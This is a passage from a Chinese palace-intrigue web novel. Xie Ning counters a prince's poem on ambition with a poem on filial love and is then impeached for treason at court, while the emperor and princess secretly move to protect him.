这已经是赤裸裸的宣言了,皇图霸业在他口中,不过是谈笑间便可取得的囊中之物!
这是何等的狂妄,何等
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的霸气!
贤王吟完之后,猛地转过身,目光如电,死死地锁定在谢宁身上,一字一顿地喝道:“谢宁,该你了!”
他想看到谢宁脸上震惊,恐惧,或是慌乱的表情。
可是,他失望了。
谢宁的脸上,依旧挂着那抹淡淡的微笑。
他甚至还点了点头,仿佛在品鉴一件艺术品。
“王爷好诗。”谢宁轻声赞了一句,然后,在贤王那逼人的目光注视下,缓缓站了起来。
他没有走到栏杆前,也没有望向远方的皇城。
他的目光,落在了身后那位一直抱着古琴,默不作声的侍女身上。
在所有人不解的目光中,谢宁开口了。
他的声音不高,不急不缓,却带着一种奇异的穿透力,仿佛能安抚世间一切的躁动。
“慈母手中线,游子身上衣。”
第一句诗出口,李贤的眉头,便是猛地一挑。
这是什么?
这跟野心有半点儿关系么。
他原本以为谢宁会针锋相对,或是绞尽脑汁地避开锋芒,却万万没想到,他竟然写了一首关于母爱的诗?
谢宁没有理会李贤的错愕,继续用一种温润如玉的声音,缓缓吟诵:“临行密密缝,意恐迟迟归。”
诗句很简单,很质朴,却勾勒出了一副无比温暖的画面。
一个慈祥的母亲,在儿子远行前,一针一线地为他缝补衣裳,心中充满了担忧和不舍。
这股温暖的力量,与李贤诗中那股冰冷的杀伐之气,形成了无比鲜明的对比,竟让水榭内那股紧张到极致的气氛,悄然缓和了下来。
李贤的脸色,开始变得有些难看。
他感觉自己卯足了全力,挥出了一记足以开山裂石的重拳,结果却打在了一团棉花上,所有的力量,都被化解于无形。
这种感觉,让他憋屈得想要吐血。
而谢宁,终于念出了最后一句,为这首诗,画上了一个完美的**。
“谁言寸草心,报得三春晖。”
当最后一句诗落下,整个水榭,陷入了一片诡异的寂静。
第九十八章 我要**谢宁
谁能说,子女那微不足道的孝心,能够报答得了母亲那如春天阳光般博大而无私的恩情呢?
这是一首咏叹母爱的千古绝唱。
更绝的是,这首诗,完美地回应了野心这个主题。
什么是天下最大的野心?
不是皇图霸业,不是王侯将相。
而是为人子女,希望能有朝一日,能够报答父母的养育之恩。
这才是最朴素,也最伟大的野心。
李贤的脸色,已经由难看变成了铁青。
他能说什么?
他能批判这首诗不好么,他不能。
这首诗,足以流传千古。
他能说谢宁跑题了么?不能。
谢宁几乎是用了一种更高明的立意,诠释了野心的含义。
他甚至不能表现出任何不满,否则,就是对孝道的践踏。
在这个以孝治国的时代,这顶帽子,他戴不起!
谢宁,用一首看似毫不相干的诗,不仅化解了他的死局,还反过来将了他一军,让他陷入了进退两难的境地。
高下立判!
“噗嗤。”
一声轻笑,从红鲤的面纱下传出。她看着李贤那张憋成猪肝色的脸,心中的紧张和担忧,早已化为对自家公子神鬼莫测手段的无尽崇拜。
这一声轻笑,如同一根针,狠狠地刺破了李贤最后的伪装。
“好,好一个谁言寸草心,报得三春晖!”
李贤几乎是从牙缝里挤出这几个字,他看着谢宁,眼中的杀意,几乎凝成了实质。
他知道,他输了。
在这场交锋中,他输得一败涂地。
“天色已晚,本王乏了。”
李贤猛地一甩袖子,下了逐客令。
“管家,送客。”
说完,他头也不回地走进了水榭的内堂。
谢宁对着他的背影,微微一笑,拱了拱手:“恭送王爷。”
随后,他带着红鲤,在管家那张比哭还难看的脸的引领下,从容不迫地向王府外走去。
他能清晰地感觉到,黑暗中那些如毒蛇般的目光,依旧死死地锁定着他。
但,那又如何?
当谢宁的马车缓缓驶离贤王府那巨大的石狮子时,一道黑影如鬼魅般出现在水榭内。
“王爷。”黑影单膝跪地。
李贤已经恢复了平静,只是眼神阴冷得可怕。
“说。”
“宫里和朝堂那边,都已经安排妥当。明日早朝,御史台的张柬之和一众言官,会以谢宁敛财和私自练兵为由,联名**。”
黑影的声音沙哑而低沉。
“很好。”李贤的嘴角,终于勾起了一抹森然的冷笑。
“谢宁,你诗词写得再好,又有什么用?在绝对的阳谋面前,一切的机巧,都不过是徒劳的挣扎。”
“本王倒要看看,明天,你如何应对这满朝文武的口诛笔伐。”
翌日,卯时。
天色未亮,一层薄薄的寒雾便笼罩了整座建安城。
皇城朱雀门外,百官们已经身着朝服,手持笏板,静静地等候着。
空气中弥漫着一股不同寻常的凝重气息,一些消息灵通的官员,已经嗅到了山雨欲来的味道,彼此交换着心照不宣的眼神,而大多数人,还被蒙在鼓里。
定远侯贾一博,正站在队伍中。
他昨夜几乎没睡,眼窝深陷,脸色憔悴。贤王府那场鸿门宴的消息,他自然是知道的。
**宴会上发生了什么,但他知道,贤王既然出手了,就绝不会是请客吃饭那么简单。
他心中是又怕又恨。
怕的是谢宁那个逆子真的被贤王抓住什么把柄,到时候定远侯府被牵连,他这个冒牌侯爷第一个倒霉。
恨的是,那逆子如今风头太盛,竟连贤王这等人物都亲自下场对付他,而自己,却只能像个鹌鹑一样,在这里提心吊胆。
“咚!咚!咚!”
厚重的钟声响起,宫门缓缓打开。
百官们整理衣冠,鱼贯而入,穿过漫长的宫道,最终来到金碧辉煌的大殿。
小皇帝李庆志头戴冠冕,身着龙袍,端坐于龙椅之上。
神情肃穆间,已是不怒自威。
长公主李庆宁今日并未垂帘,但谁都知道,她的意志,同样影响着整座朝堂。
早朝,正式开始。
和往常一样,先由各部尚书奏报一些无关痛痒的政务。
但今日殿内的气氛,已经压
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抑得让人喘不过气。
终于,户部尚书站了出来,他的声音在空旷的大殿中回荡。
“启禀陛下,汴城水患,如今已是日益严重。”
“虽已拨发首批赈灾款项,但堤坝溃决,良田淹没,数十万灾民流离失所,急需朝廷进一步调拨钱粮,以解燃眉之急!”
汴城水患,是如今朝廷最头疼的事情。
国库本就不充裕,加上边境战事,更是捉襟见肘。
李庆志的眉头,微微蹙起。
然而,不等他开口,一个尖锐的声音,便打破了关于水患的沉重议题。
御史大夫张柬之,一个以刚正不阿,敢于直谏闻名的老臣,猛地从队列中站了出来。他手持笏板,面色涨红,眼中燃烧着熊熊怒火。
“陛下!”
他的声音,如同炸雷一般在大殿响起。
“臣,有本要奏!”
所有人的目光,瞬间都凝聚在了他的身上。
贾一博的心,更是猛地提到了嗓子眼。
他如何不知道这张柬之是贤王的人。
“张爱卿,有何事?”李庆志不动声色地道。
“臣要**一人。”张柬之的声音铿锵有力。
“哦?谁?”
李庆志的声音依旧不疾不徐。
“臣要**定远侯府世子,谢宁!”
轰!
这两个字,像一块巨石砸入平静的湖面,在整个太和殿内激起滔天巨浪。
所有大臣都愣住了,脸上写满了震惊。
**谢宁?
那个凭借一己之力,击败齐国文坛,被誉为诗仙的谢宁?
那个刚刚出版了《瀚海诗集》,引得天下读书人疯狂追捧的谢宁?
那个长公主殿下亲自选中的未来驸马?
这是疯了吗?
贾一博只觉得眼前一黑,双腿一软,差点瘫倒在地。
他死死地抓住身旁同僚的衣袖,才勉强站稳。
完了完了!
果然出事了!
“哦?”李庆志的脸上看不出喜怒。
“谢宁有何罪,竟劳烦张爱卿如此动怒?”
“陛下,此子罪大恶极,罄竹难书!”
张柬之的情绪激动到了极点,唾沫横飞。
第九十九章 朝堂风暴
朝堂之上,鸦雀无声,所有人都等待着张柬之接下来的话。
“陛下,此子其罪之一,便是大肆敛财,扰乱国本。”
张柬之深吸了一口气,接着道:“谢宁利用所谓的诗仙名头出版诗集,一本小小的册子,竟敢卖出一两银子的高价。”
“据可靠消息,短短数月竟已敛财百万,长此以往,文风不再纯粹,读书人皆追名逐利,国之根基,必将动摇!”
话音落下,不带李庆志追问,张柬之继续道:“其罪之二,私蓄家兵,图谋不轨。”
“据可靠消息,此子在城郊庄园秘密招募了上千名退伍老兵和江湖亡命徒,日夜操练。”
“陛下,这可是在建安城外。天子脚下,他一个无官无职的侯府世子,豢养如此多的兵士,意欲何为!”
“他这是要,他这是要谋逆啊,陛下!”
最后一句,张柬之几乎是嘶吼出来的,声音在大殿之中久久回荡。
谋逆二字,如同两座大山,狠狠地压在了每一个人的心头。
整个朝堂,瞬间炸开了锅。
“什么?私自练兵?”
“天啊,这可是灭九族的死罪啊!”
“我就说他一个黄口小儿,怎么可能写出那等诗篇,定是沽名钓誉之辈!”
“没错!此子锋芒太露,心术不正,定有大奸大恶之心!”
一时间,群情激奋。
之前那些嫉妒谢宁才华的,眼红他财富的,以及贤王和相国宇文太极**安插的官员,纷纷跳了出来,对着谢宁口诛笔伐,恨不得立刻将他打入万劫不复之地。
贾一博站在人群中,听着这些诛心之言,只觉得浑身冰冷,如坠冰窟。
他能感觉到,四面八方投来的目光,有鄙夷,有幸灾乐祸,有探究。
每一道目光,都像是一把刀子,狠狠割在他的身上。
完了,这一次,定远侯府彻底完了!
贾一博双眼发直,嘴唇哆嗦,大脑一片空白,甚至连一句辩解的话都想不出来。
就在这混乱之中,兵部尚书,一个身材魁梧的武将,也是贤王一系的骨干,猛地站了出来。
他对着李庆志猛地一抱拳。
“陛下,此事关系到江山社稷,绝不可姑息。”
“臣恳请陛下立刻派遣禁军,查封谢宁的庄园,将其本人捉拿归案,严加审问!”
“臣附议!”
“臣附议!”
一时间,附议之声,此起彼伏。
压力,如同山呼海啸一般,全部涌向了龙椅上的年轻帝王。
李庆志端坐在龙椅上,双手紧紧地握着扶手,指节因为用力而发白。
他看着下方那些义愤填膺的臣子,一张张或真或假的忠义面孔,眼中闪过一丝极深的冰冷。
他知道,这是冲着他来的。
这是贤王在用谢宁来试探他的底线,来动摇他的皇权。
他深吸一口气,刚要开口。
突然,一个更加刚猛的声音,盖过了所有的嘈杂。
“陛下!”
一个须发皆白,身形却如松柏般挺拔的老臣,从武将队列中跨步而出。
他没有持笏板,而是直接跪倒在地,声如洪钟。
“臣,有不同意见!”
站出来的,是当朝太尉,三朝元老,执掌天下兵马大权的闻仲。
闻太尉在大齐军中威望无人能及,是定远侯老侯爷谢坤的至交好友,也是看着李庆志长大的老臣,为人刚正不阿,最是重情重义。
他的出列,让喧嚣的大殿,瞬间安静了下来。
所有人都知道,这位老太尉轻易不开口,一开口,便分量极重。
李庆志看着跪在下方的闻仲,心中微微一暖。
他知道,这位老将军是真心在为谢宁,也是在为他担忧。
“闻爱卿,请讲。”李庆志的声音,也柔和了几分。
闻仲抬起头,虎目环视一周,那锐利的目光,让刚才叫嚣得最凶的几个大臣,都不由自主地低下了头。
“陛下,老臣以为,张御史**谢宁之事,尚有诸多疑点,不可偏听偏信。”
闻仲沉声开口。
“其一便是敛财之说,谢宁出书,明码标价,一个愿打一个愿挨。”
“若说他价格定得
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高,那京城米价,布价时有涨跌,是否也要将所有商贾都抓起来问罪?”
“更何况,据老臣所知,《瀚海诗集》所得利润,大部分都归了文渊阁,谢宁本人所得,恐怕言过其实!”
“其二,也是最重要的一点,谋逆之说!”
闻仲的声音陡然拔高,如同平地起雷。
“谢宁是何人?他是老定远侯谢坤的亲外孙!是为我大齐流尽了最后一滴血的忠臣之后。”
“忠烈之后,岂会行谋逆之事?这岂不是让天下为国尽忠的将士们寒了心!”
闻仲的话掷地有声,每一个字,都像是一记重锤,狠狠地敲击在众人心上。
一些保持中立的官员,开始窃窃私语,觉得闻太尉言之有理。
张柬之的脸色一阵青一阵白,他没想到,连这位从不参与党争的老太尉,都会站出来为谢宁说话。
他不甘心地反驳道:“太尉此言差矣,知人知面不知心,谁能保证他不是借着祖辈的功勋,来行乱臣贼子之事?”
“哼!”
闻仲冷哼一声,根本不屑与他争辩,而是再次对李庆志叩首。
“陛下,此事迷雾重重,背后定有小人挑唆。在事情没有查明之前,若仅凭几句风言风语,便将忠良之后定罪,国法何在,天理何在?”
大殿之上,瞬间分成了两派,争吵不休。
李庆志看着下方的乱局,心中早已有了决断。
闻太尉的出现,给了他一个完美的台阶。
他要的就是这个效果。
他不能亲自下场保谢宁,但借着闻太尉的口,将忠良之后这面大旗竖起来,便有了理由。
他猛地一拍龙椅扶手,发出一声巨响。
“够了!”
帝王的怒火,瞬间让整个大殿鸦雀无声。
所有大臣都噤若寒蝉,跪倒在地。
李庆志缓缓站起身,目光如炬,从每一位大臣的脸上扫过。
“众卿,都是我大齐的肱骨之臣。今日之事,关乎国本,也关乎人心。”
“朕,岂能草率定夺?”
他的声音,冰冷而威严。
第一百章 帝王心术
“谢宁是忠是奸,是功是过,不是凭你们一张嘴就能说定的!”
他走到大殿中央,扶起了闻仲和张柬之。
“闻爱卿的担忧,是为国惜才,朕明白。”
“张爱卿的**,是为社稷安危,朕也理解。”
他展现出了一个成熟帝王应有的手腕,先是安抚了双方。
而后,他的话锋猛地一转。
“但是空口无凭,争论不休,成何体统!”
他的目光,最终落在了叫嚣得最厉害的张柬之身上。
“张柬之!”
“臣在!”张柬之心中一凛。
“朕就给你一个机会,也给天下人一个交代。”
李庆志的声音,充满了不容置疑的决断。
“朕命你为钦差大臣,持朕的令牌,即刻前往城郊谢宁的庄园彻查此事!”
此言一出,满朝皆惊。
竟然让原告去当查案的钦差。
贤王**的大臣们,脸上顿时露出狂喜之色。
在他们看来,这张柬之就是茅坑里的石头,又臭又硬,让他去查,那谢宁绝对是死无葬身之地。
而闻太尉等人,则是脸色大变,刚想出言反对。
李庆志却抬手制止了他们。
他看着张柬之,眼神锐利得仿佛能穿透人心。
“朕给你权力,但朕也要给你规矩,你此去可带京兆府兵三百,但只可查,不可擅动。”
“你看到什么,听到什么,都必须原原本本地回来禀报于朕,若有半分虚假,或是在其中夹带私心,罗织罪名……”
李庆志的声音,陡然变得森寒无比。
“朕,让你人头落地!”
张柬之被这股帝王威压骇得浑身一颤,但他自诩行得正坐得端,立刻叩首领命。
“臣,遵旨。”
“若有半句虚言,甘受责罚!”
“好!”
李庆志点了点头,随即看向兵部尚书。
“你从旁协助张柬之,一同前往,给朕看好他。”
这一手更是神来之笔。
让贤王的人跟着去,既能堵住他们的嘴,又能起到互相监视的作用,到时候查出什么,你们两方都得认!
至此,朝堂上的风波,暂时被压了下去。
退朝之后,李庆志一脸疲惫地回到了御书房。
他挥退了左右,独自一人在书房内来回踱步,脸上的疲惫之色一扫而空,取而代之的,是一片深不见底的冷峻。
他知道,谢宁谋逆,是莫须有的事。
别人信不过,李庆宁他还信不过么。
以皇姐的眼光,怎么可能找一个行谋逆之事的郎君。
他走到书案前,在一张空白的圣旨上盖上了自己的玉玺。
做完这一切,他又写了一封极短的密信,将其与圣旨一同装入一个信封。
他叫来一个心腹小太监,将信封交到他手上。
“立刻,马上,将此物送到青林小筑,亲手交给长公主殿下。”
李庆志的声音很轻,却带着一股不容置疑的命令。
“记住,要快!”
“奴才遵旨!”
小太监领命,揣着那封决定了无数人命运的信,消失在了御书房外。
李庆志走到窗前,看着外面那灰蒙蒙的天空,嘴角,露出了一丝冰冷的笑意。
“皇叔,你送我一份大礼,朕,也该回敬你一份。我们,慢慢玩。”
青林小筑。
与皇宫内的波诡云谲不同,这里仿佛是一片世外桃源。
小筑自从被谢宁重新修葺后,一草一木,一砖一瓦,都暗合风水,既能聚拢天地灵气,又能让人心神安宁。
自皇太后病情稳定后,李庆宁便一直在这里静养。
清晨的阳光透过窗户,斑驳地洒在房间里。
李庆宁斜倚在软榻上,手中捧着一本《瀚海诗集》。
在谢宁的精心调理下,她的气色已经恢复了红润,原本那股挥之不去的病弱之气,也消散了大半,取而代之的,是一种超凡脱俗的清丽。
这些日子,关于谢宁和他的诗集的消息,如同钱塘江的大潮,一浪接着一浪,汹涌而来,简直要将整个建安城都淹没了。
她看着书上的诗句,美眸中异彩连连。
“日照香炉生紫烟,遥看瀑布挂前川……”
“离离原上草,一岁一枯荣
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……”
每一首,都让她惊为天人。她无法想象,一个人的胸中,究竟要有多么浩瀚的才情,才能写出这等惊世骇俗的篇章。
想到那个时而玩世不恭,时而深沉如海的年轻身影,李庆宁的嘴角,便不自觉地泛起一丝温柔的笑意。
这个家伙,总是能创造出让人意想不到的奇迹。
“公主,您又在看谢世子的诗集呀。”
贴身侍女桃花端着一碗刚刚炖好的燕窝粥,笑着走了进来。
“您都快把这本书给翻烂了。”
“胡说。”李庆宁俏脸微微一红,嗔了她一眼,却还是小心翼翼地将书合上,放在一旁。
“公主,您说谢世子到底是个什么样的人啊?”
桃花一边为她布粥,一边好奇地道。
“外面都说他是天上的文曲星下凡。可奴婢又听说他前些日子在街上,把户部侍郎家的公子腿都给算断了,手段狠着呢。”
李庆宁闻言,不由得失笑。
她脑海中浮现出谢宁在大佛寺中,谈笑间便将那邪道玄真子**于股掌之上的情景。
他哪里是文曲星下凡。
他分明就是个披着谪仙外衣的小魔王。
正想着,她的心中,忽然没来由地一动。
她抬头看了看天色,喃喃道:“算算日子也该差不多了。”
“什么差不多了?”桃花不解。
李庆宁没有回答,只是眼神变得有些深邃。
她知道,谢宁最近搞出这么大的动静,以贤王和宇文太极为首的那帮人,绝不会坐视他安稳地成为自己的驸马。
算算时间,他们也该动手了。
而她,也该为自己的夫君做点什么了。
“桃花。”李庆宁的声音,恢复了长公主的清冷与决断。
“奴婢在。”
“去,备好我的仪仗。本宫要即刻进宫,去给皇太后请安。”
她顿了顿,补充道:“顺便,也该跟皇太后好好儿聊一聊本宫的婚事了。”
先前因为皇太后的病症,赐婚一事被耽搁了下来。
如今皇太后凤体安康,也是时候将此事重新提上日程了。
第一百零一章 给我冲杀进去
她要用最直接,最强势的方式,向所有人宣告,谢宁,是她李庆宁选中的人。
谁敢动他,就是与她李庆宁为敌,与整个皇室为敌。
“是。”
桃花立刻领命,转身就要去准备。
然而,她刚走到门口,一个内侍便神色慌张地从外面跑了进来,连礼数都忘了,噗通一声跪在地上。
“公主,不好了,宫里……宫里出大事了!”
李庆宁的心猛地一沉。
这么快便来了么!
她面沉如水,冷声道:“慌什么,出什么事了?”
那内侍喘着粗气,结结巴巴地道:“今……今日早朝,御史大夫张柬之,联同数十名大臣,上本**谢世子!”
“说他……说他大肆敛财,在城郊私自练兵,图谋不轨!要……要治他一个谋逆的大罪!陛下被逼无奈,已经派了张柬之做钦差,带着府兵去抄他的庄园了!”
此话一出,桃花的脸色“唰”的一下变得惨白,手中的燕窝粥也“哐当”一声掉在地上,摔得粉碎。
“什么?”
她失声惊呼。
“这怎么可能?”
然而,李庆宁的脸上,却没有丝毫的惊慌。
她的眼神,反而变得愈发冰冷,愈发锐利。
好一个贤王,好一个宇文太极,果然是亡我之心不死!
竟然连“谋逆”这样歹毒的罪名,都敢安在谢宁的头上!
他们这是想一棍子把谢宁彻底打死啊!
就在这时,别院外传来一阵急促的脚步声。
御书房的那个小太监一路匆忙而来,终于在李庆宁准备动身前,将那封信送到了她的手上。
“长公主殿下,陛下……陛下亲笔信!”
李庆宁迅速拆开信封。
信中,只有一张盖着玉玺的空白圣旨,和一张写着寥寥数字的纸条。
“姐,火已备好,待你来点。”
李庆宁看着纸条上的字,那双清冷的眸子里,瞬间燃起了足以焚尽一切的火焰。
她将那封信紧紧地攥在手中,原本因为愤怒而起伏的胸口,反而渐渐平复了下来。
她转过身,对早已吓得六神无主的桃花,用一种不容置疑的语气,一字一顿地道:“传我命令。”
“摆驾,慈宁宫!”
建安城,通往南郊的官道上,烟尘滚滚。
钦差大臣张柬之,身穿一品大员的官服,端坐于高头大马之上。
他面沉似水,眼神中充满了凛然正气。
在他的身后,是三百名身披铠甲,手持长刀的京兆府兵,一个个杀气腾腾,队伍整齐划一,将整条官道都堵得水泄不通。
兵部尚书,那个贤王一系的魁梧武将,则与张柬之并驾齐驱,脸上挂着一丝难以掩饰的得意冷笑。
在他看来,这次谢宁是插翅难飞了。
如此大的阵仗,自然是吸引了全城百姓的目光。
消息像长了翅膀一样,飞速传遍了建安城的大街小巷。
“听说了么,诗仙谢宁要谋逆,被朝廷发现了!”
“什么?不可能吧,谢世子文采风流,怎么会谋逆?”
“怎么不可能,你没看到吗?钦差大臣都出动了,还带着三百府兵,这还能有假?”
“天啊,这可是灭九族的大罪啊!太可惜了,我还想买一本他的诗集呢……”
一时间,议论纷纷。
有震惊的,有不信的,有惋惜的,更有幸灾乐祸的。
文渊阁内。
大掌柜孙思源听闻消息,急得如同热锅上的蚂蚁,在房间里团团转。
“完了,完了!这可如何是好!”
他一张老脸皱成了苦瓜。
“老朽可是把全部身家都押在了谢世子身上啊!他要是倒了,我文渊阁也得跟着完蛋!”
他怎么也想不通,谢宁怎么会跟谋逆二字扯上关系。
相国府。
宇文太极坐在书房里,悠然地品着茶,听着下人的汇报,嘴角勾起一抹满意的微笑。
“哼,竖子终究是竖子。锋芒太露,不知收敛,终究是自取灭亡。”
他很乐于见到谢宁和贤王斗得两败俱伤。
而此刻,这支浩浩荡荡的队伍,已经来到了城郊那座备受瞩目的庄园之外。
远远望去,庄园占地极广,白
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墙黑瓦,在荒凉的郊外,显得格外醒目。
只是,与想象中那种兵营林立,杀气冲天的景象不同。
整座庄园,安静得有些诡异。
朱红色的庄园大门紧紧地关闭着,门口连一个守卫都没有。
这反常的景象,让张柬之的眉头,皱得更紧了。
“哼!故弄玄虚!”
兵部尚书冷笑一声。
“定是听到风声,将人都藏起来了。张大人,下令吧!”
张柬之也是这么想的。
在他看来,这定是谢宁做贼心虚,不敢见人。
他策马上前,中气十足地大喝一声:“里面的人听着,本官乃当朝钦差,奉陛下旨意,前来调查定远侯世子谢宁私自练兵一案。”
“速速打开大门接受调查,若敢反抗,以谋逆论处!”
他的声音,在空旷的郊野回荡,却无人应答。
庄园内,依旧是一片死寂。
“岂有此理!”张柬之的怒火,彻底被点燃了。
天子脚下,钦差当面,竟敢如此藐视朝廷!
这还不是谋逆,什么是谋逆?
“来人!”他猛地一挥手,眼中杀机毕现,“给本官把这扇门撞开!”
“是!”
立刻有十几个身强力壮的府兵,抬着一根巨大的撞木冲了上去。
“一二三,撞!”
“轰隆!”
一声巨响,那扇由上好铁木制成的大门,竟被这一下直接撞得粉碎。
木屑纷飞,烟尘弥漫。
张柬之的脸上露出了胜利的冷笑。
他仿佛已经看到庄园内那些乱臣贼子惊慌失措,四散奔逃的景象。
“给本官冲进去!”他马鞭一指,“但有反抗者,格杀勿论!”
“杀!”
三百府兵,如同下山猛虎,呐喊着,挥舞着手中的兵刃,一窝蜂地冲进了庄园。
兵部尚书更是兴奋地拔出了腰间的佩刀,准备亲手砍下几个叛贼的脑袋,好去陛下面前请功。
然而,当他们冲进庄园,看清眼前景象的那一刻。
所有人的脚步,都像是被施了定身法一样,猛地停住了。